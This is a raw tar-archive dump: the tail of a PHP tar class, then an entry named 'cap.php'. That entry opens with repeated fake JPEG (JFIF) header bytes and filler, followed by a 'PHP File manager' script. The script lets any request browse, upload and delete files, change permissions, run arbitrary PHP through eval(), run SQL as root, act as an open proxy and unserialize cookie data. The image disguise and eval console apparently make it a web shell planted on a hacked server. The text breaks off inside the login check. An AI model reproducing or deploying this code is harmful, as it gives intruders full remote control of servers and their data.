				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           cap.php                                                                                             0000644                 00000234451 15217301621 0006027 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
